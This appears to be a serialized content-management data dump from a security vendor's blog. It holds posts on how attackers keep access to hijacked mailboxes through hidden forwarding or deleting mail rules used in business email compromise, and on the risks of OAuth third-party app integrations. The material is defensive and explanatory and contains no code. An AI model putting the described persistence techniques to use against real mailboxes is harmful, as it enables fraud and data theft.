access",{"url":210500,"width":210419,"height":210420},"https://images.ctfassets.net/y1cdw1ablpvd/7rb8P0FPOwF8aixOFD8Jjq/95e47270d9a401aabd5cd1814c6d6b75/diagram5.png",{"sys":210502,"__typename":1390,"title":210503,"caption":210504,"layoutMode":210445,"file":210505},{"id":208017},"OneDrive sharing","Abusing OneDrive document-sharing functionality",{"url":210506,"width":148138,"height":206453},"https://images.ctfassets.net/y1cdw1ablpvd/TULBVq6P3BvUxvuimJjpc/111332d799763e5e26aafa9655d8b841/image10.png",{"sys":210508,"__typename":1390,"title":210509,"caption":210510,"layoutMode":210445,"file":210511},{"id":208023},"OneDrive files","OneDrive files now shows shared status",{"url":210512,"width":210513,"height":210514},"https://images.ctfassets.net/y1cdw1ablpvd/5jcr8ep5Xg7vykfNmw6mhu/6c7b4e918882a01bbc10c824670cd4d7/image1.png",1024,474,{"items":210516},[],{},"How to maintain persistent access in a SaaS-native company",{"items":210520},[210521,210937],{"__typename":1429,"sys":210522,"content":210523,"title":209971,"synopsis":209972,"hashTags":59,"publishedDate":209973,"slug":209974,"tagsCollection":210927,"authorsCollection":210933},{"id":209506},{"json":210524},{"data":210525,"content":210526,"nodeType":1382},{},[210527,210534,210541,210559,210566,210584,210590,210595,210601,210607,210613,210619,210625,210631,210637,210643,210649,210654,210660,210666,210672,210678,210694,210699,210705,210710,210716,210721,210727,210733,210739,210778,210784,210800,210806,210888,210904,210910,210916,210921],{"data":210528,"content":210529,"nodeType":866},{},[210530],{"data":210531,"marks":210532,"value":209518,"nodeType":865},{},[210533],{"type":898},{"data":210535,"content":210536,"nodeType":866},{},[210537],{"data":210538,"marks":210539,"value":209526,"nodeType":865},{},[210540],{"type":898},{"data":210542,"content":210543,"nodeType":866},{},[210544,210547,210556],{"data":210545,"marks":210546,"value":209533,"nodeType":865},{},[],{"data":210548,"content":210551,"nodeType":33606},{"target":210549},{"sys":210550},{"id":209538,"type":909,"linkType":910},[210552],{"data":210553,"marks":210554,"value":209544,"nodeType":865},{},[210555],{"type":943},{"data":210557,"marks":210558,"value":209548,"nodeType":865},{},[],{"data":210560,"content":210561,"nodeType":866},{},[210562],{"data":210563,"marks":210564,"value":209556,"nodeType":865},{},[210565],{"type":898},{"data":210567,"content":210568,"nodeType":866},{},[210569,210572,210581],{"data":210570,"marks":210571,"value":209563,"nodeType":865},{},[],{"data":210573,"content":210576,"nodeType":33606},{"target":210574},{"sys":210575},{"id":203182,"type":909,"linkType":910},[210577],{"data":210578,"marks":210579,"value":209573,"nodeType":865},{},[210580],{"type":943},{"data":210582,"marks":210583,"value":209577,"nodeType":865},{},[],{"data":210585,"content":210586,"nodeType":866},{},[210587],{"data":210588,"marks":210589,"value":209584,"nodeType":865},{},[],{"data":210591,"content":210594,"nodeType":912},{"target":210592},{"sys":210593},{"id":209589,"type":909,"linkType":910},[],{"data":210596,"content":210597,"nodeType":866},{},[210598],{"data":210599,"marks":210600,"value":209597,"nodeType":865},{},[],{"data":210602,"content":210603,"nodeType":1317},{},[210604],{"data":210605,"marks":210606,"value":209604,"nodeType":865},{},[],{"data":210608,"content":210609,"nodeType":866},{},[210610],{"data":210611,"marks":210612,"value":209611,"nodeType":865},{},[],{"data":210614,"content":210615,"nodeType":866},{},[210616],{"data":210617,"marks":210618,"value":209618,"nodeType":865},{},[],{"data":210620,"content":210621,"nodeType":1317},{},[210622],{"data":210623,"marks":210624,"value":209625,"nodeType":865},{},[],{"data":210626,"content":210627,"nodeType":866},{},[210628],{"data":210629,"marks":210630,"value":209632,"nodeType":865},{},[],{"data":210632,"content":210633,"nodeType":866},{},[210634],{"data":210635,"marks":210636,"value":209639,"nodeType":865},{},[],{"data":210638,"content":210639,"nodeType":866},{},[210640],{"data":210641,"marks":210642,"value":209646,"nodeType":865},{},[],{"data":210644,"content":210645,"nodeType":866},{},[210646],{"data":210647,"marks":210648,"value":209653,"nodeType":865},{},[],{"data":210650,"content":210653,"nodeType":912},{"target":210651},{"sys":210652},{"id":209658,"type":909,"linkType":910},[],{"data":210655,"content":210656,"nodeType":866},{},[210657],{"data":210658,"marks":210659,"value":209666,"nodeType":865},{},[],{"data":210661,"content":210662,"nodeType":1317},{},[210663],{"data":210664,"marks":210665,"value":209673,"nodeType":865},{},[],{"data":210667,"content":210668,"nodeType":866},{},[210669],{"data":210670,"marks":210671,"value":209680,"nodeType":865},{},[],{"data":210673,"content":210674,"nodeType":866},{},[210675],{"data":210676,"marks":210677,"value":209687,"nodeType":865},{},[],{"data":210679,"content":210680,"nodeType":866},{},[210681,210684,210691],{"data":210682,"marks":210683,"value":209694,"nodeType":865},{},[],{"data":210685,"content":210686,"nodeType":889},{"uri":204194},[210687],{"data":210688,"marks":210689,"value":204200,"nodeType":865},{},[210690],{"type":943},{"data":210692,"marks":210693,"value":209705,"nodeType":865},{},[],{"data":210695,"content":210698,"nodeType":912},{"target":210696},{"sys":210697},{"id":209710,"type":909,"linkType":910},[],{"data":210700,"content":210701,"nodeType":866},{},[210702],{"data":210703,"marks":210704,"value":209718,"nodeType":865},{},[],{"data":210706,"content":210709,"nodeType":912},{"target":210707},{"sys":210708},{"id":209723,"type":909,"linkType":910},[],{"data":210711,"content":210712,"nodeType":866},{},[210713],{"data":210714,"marks":210715,"value":209731,"nodeType":865},{},[],{"data":210717,"content":210720,"nodeType":912},{"target":210718},{"sys":210719},{"id":209736,"type":909,"linkType":910},[],{"data":210722,"content":210723,"nodeType":1317},{},[210724],{"data":210725,"marks":210726,"value":209744,"nodeType":865},{},[],{"data":210728,"content":210729,"nodeType":866},{},[210730],{"data":210731,"marks":210732,"value":209751,"nodeType":865},{},[],{"data":210734,"content":210735,"nodeType":866},{},[210736],{"data":210737,"marks":210738,"value":209758,"nodeType":865},{},[],{"data":210740,"content":210741,"nodeType":1616},{},[210742,210751,210760,210769],{"data":210743,"content":210744,"nodeType":1570},{},[210745],{"data":210746,"content":210747,"nodeType":866},{},[210748],{"data":210749,"marks":210750,"value":209771,"nodeType":865},{},[],{"data":210752,"content":210753,"nodeType":1570},{},[210754],{"data":210755,"content":210756,"nodeType":866},{},[210757],{"data":210758,"marks":210759,"value":209781,"nodeType":865},{},[],{"data":210761,"content":210762,"nodeType":1570},{},[210763],{"data":210764,"content":210765,"nodeType":866},{},[210766],{"data":210767,"marks":210768,"value":209791,"nodeType":865},{},[],{"data":210770,"content":210771,"nodeType":1570},{},[210772],{"data":210773,"content":210774,"nodeType":866},{},[210775],{"data":210776,"marks":210777,"value":209801,"nodeType":865},{},[],{"data":210779,"content":210780,"nodeType":866},{},[210781],{"data":210782,"marks":210783,"value":209808,"nodeType":865},{},[],{"data":210785,"content":210786,"nodeType":866},{},[210787,210790,210797],{"data":210788,"marks":210789,"value":209815,"nodeType":865},{},[],{"data":210791,"content":210792,"nodeType":889},{"uri":209818},[210793],{"data":210794,"marks":210795,"value":209824,"nodeType":865},{},[210796],{"type":943},{"data":210798,"marks":210799,"value":209828,"nodeType":865},{},[],{"data":210801,"content":210802,"nodeType":866},{},[210803],{"data":210804,"marks":210805,"value":209835,"nodeType":865},{},[],{"data":210807,"content":210808,"nodeType":1616},{},[210809,210818,210827,210836,210855,210870,210879],{"data":210810,"content":210811,"nodeType":1570},{},[210812],{"data":210813,"content":210814,"nodeType":866},{},[210815],{"data":210816,"marks":210817,"value":209848,"nodeType":865},{},[],{"data":210819,"content":210820,"nodeType":1570},{},[210821],{"data":210822,"content":210823,"nodeType":866},{},[210824],{"data":210825,"marks":210826,"value":209858,"nodeType":865},{},[],{"data":210828,"content":210829,"nodeType":1570},{},[210830],{"data":210831,"content":210832,"nodeType":866},{},[210833],{"data":210834,"marks":210835,"value":209868,"nodeType":865},{},[],{"data":210837,"content":210838,"nodeType":1570},{},[210839],{"data":210840,"content":210841,"nodeType":866},{},[210842,210845,210852],{"data":210843,"marks":210844,"value":21,"nodeType":865},{},[],{"data":210846,"content":210847,"nodeType":889},{"uri":209880},[210848],{"data":210849,"marks":210850,"value":209886,"nodeType":865},{},[210851],{"type":943},{"data":210853,"marks":210854,"value":21,"nodeType":865},{},[],{"data":210856,"content":210857,"nodeType":1570},{},[210858],{"data":210859,"content":210860,"nodeType":1616},{},[210861],{"data":210862,"content":210863,"nodeType":1570},{},[210864],{"data":210865,"content":210866,"nodeType":866},{},[210867],{"data":210868,"marks":210869,"value":209905,"nodeType":865},{},[],{"data":210871,"content":210872,"nodeType":1570},{},[210873],{"data":210874,"content":210875,"nodeType":866},{},[210876],{"data":210877,"marks":210878,"value":209915,"nodeType":865},{},[],{"data":210880,"content":210881,"nodeType":1570},{},[210882],{"data":210883,"content":210884,"nodeType":866},{},[210885],{"data":210886,"marks":210887,"value":209925,"nodeType":865},{},[],{"data":210889,"content":210890,"nodeType":866},{},[210891,210894,210901],{"data":210892,"marks":210893,"value":209932,"nodeType":865},{},[],{"data":210895,"content":210896,"nodeType":889},{"uri":209935},[210897],{"data":210898,"marks":210899,"value":209941,"nodeType":865},{},[210900],{"type":943},{"data":210902,"marks":210903,"value":209945,"nodeType":865},{},[],{"data":210905,"content":210906,"nodeType":1317},{},[210907],{"data":210908,"marks":210909,"value":57175,"nodeType":865},{},[],{"data":210911,"content":210912,"nodeType":866},{},[210913],{"data":210914,"marks":210915,"value":209958,"nodeType":865},{},[],{"data":210917,"content":210920,"nodeType":912},{"target":210918},{"sys":210919},{"id":209963,"type":909,"linkType":910},[],{"data":210922,"content":210923,"nodeType":866},{},[210924],{"data":210925,"marks":210926,"value":21,"nodeType":865},{},[],{"items":210928},[210929,210931],{"sys":210930,"name":342},{"id":4642},{"sys":210932,"name":297},{"id":2310},{"items":210934},[210935],{"fullName":158801,"firstName":158802,"jobTitle":158803,"profilePicture":210936},{"url":158805},{"__typename":1429,"sys":210938,"content":210939,"title":210405,"synopsis":211277,"hashTags":211278,"publishedDate":211284,"slug":210406,"tagsCollection":211285,"authorsCollection":211291},{"id":207731},{"json":210940},{"data":210941,"content":210942,"nodeType":1382},{},[210943,210950,210956,210963,210982,211011,211018,211101,211120,211123,211130,211148,211155,211162,211165,211172,211216,211223,211239,211246,211249,211256,211262],{"data":210944,"content":210945,"nodeType":866},{},[210946],{"data":210947,"marks":210948,"value":210949,"nodeType":865},{},[],"Mail rules are a handy feature found in most email clients. You might have used them to forward emails to your teammates while you’re off sipping Piña coladas, or to move incoming email from that spammy colleague to the ‘don’t read’ folder.",{"data":210951,"content":210955,"nodeType":912},{"target":210952},{"sys":210953},{"id":210954,"type":909,"linkType":910},"7xLVXoCCjansV1u50e2pbM",[],{"data":210957,"content":210958,"nodeType":866},{},[210959],{"data":210960,"marks":210961,"value":210962,"nodeType":865},{},[],"Sadly for us defenders, they’re just as useful for attackers. After gaining access to a victim's account, attackers will often create a mail rule inside their mailbox as a way to maintain stealthy access. This mail rule can do anything a normal mail rule could but is usually used to forward emails matching sensitive keywords, like ‘invoice’ or ‘payment’, to an external email address controlled by the attacker.",{"data":210964,"content":210965,"nodeType":7584},{},[210966],{"data":210967,"content":210968,"nodeType":866},{},[210969,210973,210978],{"data":210970,"marks":210971,"value":210972,"nodeType":865},{},[],"This gives the ",{"data":210974,"marks":210975,"value":210977,"nodeType":865},{},[210976],{"type":926},"attacker persistent access to the mailbox",{"data":210979,"marks":210980,"value":210981,"nodeType":865},{},[],". Even if the victim's password is changed, they turn on MFA, or their workstation is completely rebuilt - as long as the rule stays in place, it remains effective.",{"data":210983,"content":210984,"nodeType":866},{},[210985,210989,210998,211002,211007],{"data":210986,"marks":210987,"value":210988,"nodeType":865},{},[],"As another example, in ",{"data":210990,"content":210992,"nodeType":889},{"uri":210991},"https://www.reddit.com/r/sysadmin/comments/6l63x6/malicious_outlook_rules/",[210993],{"data":210994,"marks":210995,"value":210997,"nodeType":865},{},[210996],{"type":943},"this Reddit thread",{"data":210999,"marks":211000,"value":211001,"nodeType":865},{},[]," the author describes how mail rules were used to ",{"data":211003,"marks":211004,"value":211006,"nodeType":865},{},[211005],{"type":898},"delete ",{"data":211008,"marks":211009,"value":211010,"nodeType":865},{},[],"any emails the affected user received from the company’s Chief Finance Officer (CFO) so that the attacker could pretend to be the CFO, sending them fake emails to convince them to transfer out company funds.",{"data":211012,"content":211013,"nodeType":866},{},[211014],{"data":211015,"marks":211016,"value":211017,"nodeType":865},{},[],"Business Email Compromise (BEC) like this is the most popular type of attack at the moment, causing damages well into the billions according to the FBI. Here are just a few publicly documented breaches involving mail rules:",{"data":211019,"content":211020,"nodeType":1616},{},[211021,211041,211061,211081],{"data":211022,"content":211023,"nodeType":1570},{},[211024],{"data":211025,"content":211026,"nodeType":866},{},[211027,211030,211038],{"data":211028,"marks":211029,"value":21,"nodeType":865},{},[],{"data":211031,"content":211033,"nodeType":889},{"uri":211032},"https://www.sans.org/dataincident2020",[211034],{"data":211035,"marks":211036,"value":211037,"nodeType":865},{},[],"SANS: 28,000 PII records lost",{"data":211039,"marks":211040,"value":21,"nodeType":865},{},[],{"data":211042,"content":211043,"nodeType":1570},{},[211044],{"data":211045,"content":211046,"nodeType":866},{},[211047,211050,211058],{"data":211048,"marks":211049,"value":21,"nodeType":865},{},[],{"data":211051,"content":211053,"nodeType":889},{"uri":211052},"https://www.ic3.gov/Media/News/2020/201204.pdf",[211054],{"data":211055,"marks":211056,"value":211057,"nodeType":865},{},[],"FBI report: BEC involving malicious mail rules costs company $175k",{"data":211059,"marks":211060,"value":21,"nodeType":865},{},[],{"data":211062,"content":211063,"nodeType":1570},{},[211064],{"data":211065,"content":211066,"nodeType":866},{},[211067,211070,211078],{"data":211068,"marks":211069,"value":21,"nodeType":865},{},[],{"data":211071,"content":211073,"nodeType":889},{"uri":211072},"https://www.reddit.com/r/Office365/comments/ej0wkx/hacker_created_forwarding_rules_for_users_account/",[211074],{"data":211075,"marks":211076,"value":211077,"nodeType":865},{},[],"Reddit thread: Hacker created forwarding rule for user's account",{"data":211079,"marks":211080,"value":5959,"nodeType":865},{},[],{"data":211082,"content":211083,"nodeType":1570},{},[211084],{"data":211085,"content":211086,"nodeType":866},{},[211087,211090,211098],{"data":211088,"marks":211089,"value":21,"nodeType":865},{},[],{"data":211091,"content":211093,"nodeType":889},{"uri":211092},"https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/",[211094],{"data":211095,"marks":211096,"value":211097,"nodeType":865},{},[],"Microsoft case study of BEC operation using mail rules",{"data":211099,"marks":211100,"value":21,"nodeType":865},{},[],{"data":211102,"content":211103,"nodeType":866},{},[211104,211108,211116],{"data":211105,"marks":211106,"value":211107,"nodeType":865},{},[],"You can read ",{"data":211109,"content":211111,"nodeType":889},{"uri":211110},"/blog/case-study-business-email-compromise-bec-attack-nearly-cost-us-millions/",[211112],{"data":211113,"marks":211114,"value":211115,"nodeType":865},{},[],"this case study",{"data":211117,"marks":211118,"value":211119,"nodeType":865},{},[]," of a how a real Business Email Compromise (BEC) attack played out at an engineering firm that we interviewed.",{"data":211121,"content":211122,"nodeType":972},{},[],{"data":211124,"content":211125,"nodeType":981},{},[211126],{"data":211127,"marks":211128,"value":211129,"nodeType":865},{},[],"How likely is this to actually happen?",{"data":211131,"content":211132,"nodeType":866},{},[211133,211136,211144],{"data":211134,"marks":211135,"value":21,"nodeType":865},{},[],{"data":211137,"content":211139,"nodeType":889},{"uri":211138},"https://attack.mitre.org/techniques/T1114/003/",[211140],{"data":211141,"marks":211142,"value":211143,"nodeType":865},{},[],"MITRE lists threat groups",{"data":211145,"marks":211146,"value":211147,"nodeType":865},{},[]," that have been known to use mail rules in this way as part of targeted attacks. However, most often, this technique is used opportunistically.",{"data":211149,"content":211150,"nodeType":866},{},[211151],{"data":211152,"marks":211153,"value":211154,"nodeType":865},{},[],"Attackers run phishing campaigns containing thousands of harvested emails from multiple companies. A classic scenario is to trick a user into logging in to a fake Office 365 or Google Workspace login screen, stealing their credentials. Those credentials are then used to create a malicious mail rule inside the compromised user's mailbox. For scale and speed, this process is completely automated.",{"data":211156,"content":211157,"nodeType":866},{},[211158],{"data":211159,"marks":211160,"value":211161,"nodeType":865},{},[],"Similarly a mail rule could be created automatically as the result of a user’s workstation becoming infected with malware.",{"data":211163,"content":211164,"nodeType":972},{},[],{"data":211166,"content":211167,"nodeType":981},{},[211168],{"data":211169,"marks":211170,"value":211171,"nodeType":865},{},[],"How to defend against this type of attack?",{"data":211173,"content":211174,"nodeType":866},{},[211175,211179,211187,211191,211201,211204,211213],{"data":211176,"marks":211177,"value":211178,"nodeType":865},{},[],"The first step is to check your mailboxes to make sure no malicious mail rules have already been created. On Office 365, this will require rolling some PowerShell; on Google Workspace, you'll need to query the APIs (we discuss some detail of these options ",{"data":211180,"content":211182,"nodeType":889},{"uri":211181},"/blog/should-you-disable-external-email-auto-forwarding/",[211183],{"data":211184,"marks":211185,"value":211186,"nodeType":865},{},[],"in this post",{"data":211188,"marks":211189,"value":211190,"nodeType":865},{},[],"). Or you can save yourself some pain and use the free tool linked above, which we built for this very purpose. If you find rules that don't look right, follow these guides for what to do next on ",{"data":211192,"content":211196,"nodeType":33606},{"target":211193},{"sys":211194},{"id":211195,"type":909,"linkType":910},"e4805bba-2531-4250-bdcc-ab996dd33519",[211197],{"data":211198,"marks":211199,"value":211200,"nodeType":865},{},[],"Office 365",{"data":211202,"marks":211203,"value":53880,"nodeType":865},{},[],{"data":211205,"content":211209,"nodeType":33606},{"target":211206},{"sys":211207},{"id":211208,"type":909,"linkType":910},"50dab356-e78b-479d-ad45-a07b898b5ec4",[211210],{"data":211211,"marks":211212,"value":205285,"nodeType":865},{},[],{"data":211214,"marks":211215,"value":1615,"nodeType":865},{},[],{"data":211217,"content":211218,"nodeType":866},{},[211219],{"data":211220,"marks":211221,"value":211222,"nodeType":865},{},[],"It's also possible to stop users from creating auto-forwarding rules altogether. If no one is using the feature, this is probably a good idea - you might as well reduce risk. However, there are plenty of situations where teams benefit from the automation and efficiency mail rules bring. Security works best when it enables the business to work securely, rather than constraining it - leaving the feature available whilst managing the risk through detection is a good option as well.",{"data":211224,"content":211225,"nodeType":866},{},[211226,211230,211236],{"data":211227,"marks":211228,"value":211229,"nodeType":865},{},[],"We discuss more about the pros and cons of disabling mail rules and some options for some security controls you can implement so that you can keep them enabled ",{"data":211231,"content":211232,"nodeType":889},{"uri":211181},[211233],{"data":211234,"marks":211235,"value":141525,"nodeType":865},{},[],{"data":211237,"marks":211238,"value":1615,"nodeType":865},{},[],{"data":211240,"content":211241,"nodeType":866},{},[211242],{"data":211243,"marks":211244,"value":211245,"nodeType":865},{},[],"If you'd like, try Push for free and we'll spot any suspicious mail rules, then work with employees to make sure the mail rule wasn't something they created for a legitimate use. If they haven't, we'll notify you to take action and investigate a potential incident. Find out more here.",{"data":211247,"content":211248,"nodeType":972},{},[],{"data":211250,"content":211251,"nodeType":981},{},[211252],{"data":211253,"marks":211254,"value":34483,"nodeType":865},{},[211255],{"type":926},{"data":211257,"content":211258,"nodeType":866},{},[211259],{"data":211260,"marks":211261,"value":105593,"nodeType":865},{},[],{"data":211263,"content":211264,"nodeType":866},{},[211265,211268,211274],{"data":211266,"marks":211267,"value":104093,"nodeType":865},{},[],{"data":211269,"content":211270,"nodeType":889},{"uri":124099},[211271],{"data":211272,"marks":211273,"value":11405,"nodeType":865},{},[],{"data":211275,"marks":211276,"value":1615,"nodeType":865},{},[],"After phishing campaigns target Office 365 and Google Workspace users, malicious mail rules are automatically added to the user’s mailbox. Take steps to defend.",[211279,271,211280,211281,211282,211283],"businessemailcompromise","mailrules","office365","googleworkspace","emailsecurity","2021-06-10T00:00:00.000+01:00",{"items":211286},[211287,211289],{"sys":211288,"name":7796},{"id":7795},{"sys":211290,"name":342},{"id":4642},{"items":211292},[211293],{"fullName":197438,"firstName":197439,"jobTitle":197440,"profilePicture":211294},{"url":197442},"blog/maintaining-persistent-access-in-a-saas-first-world",{"json":211297},{"data":211298,"content":211299,"nodeType":1382},{},[211300],{"data":211301,"content":211302,"nodeType":866},{},[211303],{"data":211304,"marks":211305,"value":211306,"nodeType":865},{},[],"In this post, we’ll explore new methods for attackers to maintain persistence in the cloud",{"id":207627,"publishedAt":211308},"2026-08-12T11:56:35.761Z",{"items":211310},[211311],{"sys":211312,"name":7796},{"id":7795},{"items":211314},[211315,211317,211319,211321,211323,211325,211327],{"sys":211316,"name":545,"slug":546,"tier":31},{"id":542},{"sys":211318,"name":413,"slug":414,"tier":31},{"id":410},{"sys":211320,"name":642,"slug":643,"tier":31},{"id":639},{"sys":211322,"name":484,"slug":485,"tier":45},{"id":481},{"sys":211324,"name":571,"slug":572,"tier":45},{"id":568},{"sys":211326,"name":633,"slug":634,"tier":45},{"id":630},{"sys":211328,"name":431,"slug":432,"tier":45},{"id":428},"MHtPxZhzJdsKP4eytp-Wpmf3dRAN4vLNYJFbpZ0OKh0",{"id":211331,"title":209258,"authorsCollection":211332,"content":211337,"extension":228,"faqItemsCollection":212088,"faqTitle":59,"featured":6,"hashTags":59,"meta":212090,"metaTitle":212091,"ogImage":59,"postType":59332,"publishedDate":212092,"relatedBlogPostsCollection":212093,"slug":209259,"stem":212937,"subtitle":59,"summary":212938,"synopsis":212948,"sys":212949,"tagsCollection":212951,"topicsCollection":212957,"__hash__":212975},"blog/blog/is-it-safe-to-allow-my-employees-to-connect-third-party-apps-to-our-m365.json",{"items":211333},[211334],{"fullName":11421,"firstName":11422,"jobTitle":11423,"socialLinks":211335,"profilePicture":211336},[62480],{"url":11425},{"json":211338,"links":212015},{"data":211339,"content":211340,"nodeType":1382},{},[211341,211348,211355,211362,211383,211390,211419,211426,211433,211452,211458,211465,211472,211478,211485,211492,211498,211505,211511,211517,211524,211530,211537,211543,211550,211557,211564,211571,211578,211585,211592,211599,211606,211669,211676,211843,211850,211857,212004,212009],{"data":211342,"content":211343,"nodeType":866},{},[211344],{"data":211345,"marks":211346,"value":211347,"nodeType":865},{},[],"It’s no secret that SaaS use is growing exponentially, but less has been said about third-party SaaS integrations, especially to core platforms like M365 or Google Workspace. In this article, we’ll explain what these third-party integrations are and what the security benefits vs risks of using them in your organization are. We’ll also provide some helpful tips about what you can do to remediate or at least lessen the risks.",{"data":211349,"content":211350,"nodeType":981},{},[211351],{"data":211352,"marks":211353,"value":211354,"nodeType":865},{},[],"What are third-party SaaS integrations and what the heck is OAuth?",{"data":211356,"content":211357,"nodeType":866},{},[211358],{"data":211359,"marks":211360,"value":211361,"nodeType":865},{},[],"A third-party SaaS integration with your M365 or Google Workspace deployment allows an employee (or administrator) to grant some level of access to your data by that SaaS vendor. Employees want to connect these apps because they want to easily share projects across their tools, or integrate add-on features that make their workspaces more flexible or customized to their needs, or they simply need them to be more productive. And those apps must have some level of access to your data (and the employee’s data) to function properly. The problem comes in primarily because the level of access each app requests can vary significantly by both the type of data exposed and the number of employees it affects. ",{"data":211363,"content":211364,"nodeType":866},{},[211365,211369,211379],{"data":211366,"marks":211367,"value":211368,"nodeType":865},{},[],"It can be as simple as sharing an employee’s full name and email address with the SaaS provider if they login using their business Microsoft/Google account, otherwise known as a \"",{"data":211370,"content":211374,"nodeType":33606},{"target":211371},{"sys":211372},{"id":211373,"type":909,"linkType":910},"1pbtctbbJRqLuz8dOsecOt",[211375],{"data":211376,"marks":211377,"value":211378,"nodeType":865},{},[],"social login",{"data":211380,"marks":211381,"value":211382,"nodeType":865},{},[],".\" However, integrations can also request access to much more sensitive data, such as email inboxes and document stores (OneDrive, Sharepoint, Google Drive). Employees with administrative privileges can even create integrations that allow access to all employees’ data, rather than sharing only their own data. ",{"data":211384,"content":211385,"nodeType":866},{},[211386],{"data":211387,"marks":211388,"value":211389,"nodeType":865},{},[],"Clearly, the security and compliance risks associated are highly variable depending on the type of integration.",{"data":211391,"content":211392,"nodeType":866},{},[211393,211397,211404,211408,211416],{"data":211394,"marks":211395,"value":211396,"nodeType":865},{},[],"OAuth is an industry standard protocol for authorization (",{"data":211398,"content":211400,"nodeType":889},{"uri":211399},"https://oauth.net/2/",[211401],{"data":211402,"marks":211403,"value":211399,"nodeType":865},{},[],{"data":211405,"marks":211406,"value":211407,"nodeType":865},{},[],"). If you want to share your data on one app with another third-party app, rather than share your username and password, OAuth provides a way to authorize access to specific data based on a set of permissions. You can even later revoke access to specific apps without changing your password. A vendor that allows sharing of their data via OAuth can implement their own custom permissions - Google implements hundreds of permissions alone (",{"data":211409,"content":211411,"nodeType":889},{"uri":211410},"https://developers.google.com/identity/protocols/oauth2/scopes",[211412],{"data":211413,"marks":211414,"value":211410,"nodeType":865},{},[211415],{"type":943},{"data":211417,"marks":211418,"value":40358,"nodeType":865},{},[],{"data":211420,"content":211421,"nodeType":866},{},[211422],{"data":211423,"marks":211424,"value":211425,"nodeType":865},{},[],"Essentially, OAuth is the protocol that allows you to easily choose which data you share with who and thus is a very common approach for how SaaS platforms integrate with other core SaaS platforms like Google or Microsoft.    ",{"data":211427,"content":211428,"nodeType":1317},{},[211429],{"data":211430,"marks":211431,"value":211432,"nodeType":865},{},[],"An Example - Adobe Creative Cloud",{"data":211434,"content":211435,"nodeType":866},{},[211436,211440,211448],{"data":211437,"marks":211438,"value":211439,"nodeType":865},{},[],"Let’s say your Marketing team wants to make use of Adobe Creative Cloud - perhaps they need Photoshop for some image-editing and Acrobat for some PDF-editing for marketing materials. They pop along to ",{"data":211441,"content":211443,"nodeType":889},{"uri":211442},"https://creativecloud.adobe.com/",[211444],{"data":211445,"marks":211446,"value":211442,"nodeType":865},{},[211447],{"type":943},{"data":211449,"marks":211450,"value":211451,"nodeType":865},{},[]," and click to sign up and are presented with the following choice: ",{"data":211453,"content":211457,"nodeType":912},{"target":211454},{"sys":211455},{"id":211456,"type":909,"linkType":910},"ffx3tPYZNwZD6xj7IcLm1",[],{"data":211459,"content":211460,"nodeType":866},{},[211461],{"data":211462,"marks":211463,"value":211464,"nodeType":865},{},[],"Your organization is using Google Workspace for most core business functions, so they think “Oh great, I can login using my business Google account, no need to setup yet another online account and password!”",{"data":211466,"content":211467,"nodeType":866},{},[211468],{"data":211469,"marks":211470,"value":211471,"nodeType":865},{},[],"They click to “Continue with Google” and are presented with the choice to select their account. They are already logged in with Google so they don’t even need to enter their password.",{"data":211473,"content":211477,"nodeType":912},{"target":211474},{"sys":211475},{"id":211476,"type":909,"linkType":910},"507PcDcFrMbGBdpVzt8RFl",[],{"data":211479,"content":211480,"nodeType":866},{},[211481],{"data":211482,"marks":211483,"value":211484,"nodeType":865},{},[],"That’s it, they are now signed up to Adobe Creative Cloud, they pay their subscription and start using Adobe’s SaaS offerings. This is known as a Social Login, and it lets your marketing team quickly and easily log into Adobe using their existing Google account.",{"data":211486,"content":211487,"nodeType":866},{},[211488],{"data":211489,"marks":211490,"value":211491,"nodeType":865},{},[],"However, very limited data access has actually been provided to Adobe. Adobe has only been authorized to access basic details of the employee who signed up, as you can see in the integration details below:",{"data":211493,"content":211497,"nodeType":912},{"target":211494},{"sys":211495},{"id":211496,"type":909,"linkType":910},"HwDgqIjni9MzkwGJikdk1",[],{"data":211499,"content":211500,"nodeType":866},{},[211501],{"data":211502,"marks":211503,"value":211504,"nodeType":865},{},[],"However, after some use of Photoshop and Acrobat, your marketing team needs to both open and save documents on their Google Drive or OneDrive as that’s how they collaborate on all other documents within the company. No problem, Adobe allows you to add one of many cloud storage options. Given your company is using Google Drive, they pick that option and are presented with a new permission request from Google:",{"data":211506,"content":211510,"nodeType":912},{"target":211507},{"sys":211508},{"id":211509,"type":909,"linkType":910},"3pVLUawIy8ZIZwFCZXCOs8",[],{"data":211512,"content":211516,"nodeType":912},{"target":211513},{"sys":211514},{"id":211515,"type":909,"linkType":910},"zNKE1Et3zgLPFmdrvQrh4",[],{"data":211518,"content":211519,"nodeType":866},{},[211520],{"data":211521,"marks":211522,"value":211523,"nodeType":865},{},[],"This time, Adobe is requesting much more sensitive access than merely basic personal details - it’s asking for full read/write access to the employee’s entire Google Drive store. Google makes sure that’s clear and asks for authorization. Your employee clicks to continue and now they have the ability to read and write Google Drive from within Acrobat:",{"data":211525,"content":211529,"nodeType":912},{"target":211526},{"sys":211527},{"id":211528,"type":909,"linkType":910},"3EztvIY0a6amE9qx6pi3Pe",[],{"data":211531,"content":211532,"nodeType":866},{},[211533],{"data":211534,"marks":211535,"value":211536,"nodeType":865},{},[],"We can now see a new integration has been created, exposing a much more significant asset by allowing full access to Google Drive on behalf of the marketing employee.",{"data":211538,"content":211542,"nodeType":912},{"target":211539},{"sys":211540},{"id":211541,"type":909,"linkType":910},"7EJrX4ccSmWzWJ1kC6kMzf",[],{"data":211544,"content":211545,"nodeType":866},{},[211546],{"data":211547,"marks":211548,"value":211549,"nodeType":865},{},[],"We have just followed a user journey for two particularly common examples of integrations, but there are a huge number of SaaS providers out there and a huge variety of different types of integrations. However, the most common cases are simple social logins, document access, email access, calendar access and contacts access depending on the SaaS provider in use.",{"data":211551,"content":211552,"nodeType":981},{},[211553],{"data":211554,"marks":211555,"value":211556,"nodeType":865},{},[],"Should I be worried about this?",{"data":211558,"content":211559,"nodeType":866},{},[211560],{"data":211561,"marks":211562,"value":211563,"nodeType":865},{},[],"As always, the answer is “it depends.” On the one hand, by default your employees can enable integrations for their own account with whatever third parties they like and potentially expose very sensitive data assets like document stores and email. It’s a bit melodramatic to put it this way, but consenting to OAuth permissions is like giving a third party an everlasting password to act in a limited capacity as a number of users with minimal monitoring and trusting them not to abuse that access.  ",{"data":211565,"content":211566,"nodeType":866},{},[211567],{"data":211568,"marks":211569,"value":211570,"nodeType":865},{},[],"On the other, many integrations (especially the ones you’ll recognize by name) don’t ask for excessive permissions, and are managed by responsible and security conscious vendors that generally do a great job of securing your data. The challenge is finding integrations for which this isn’t 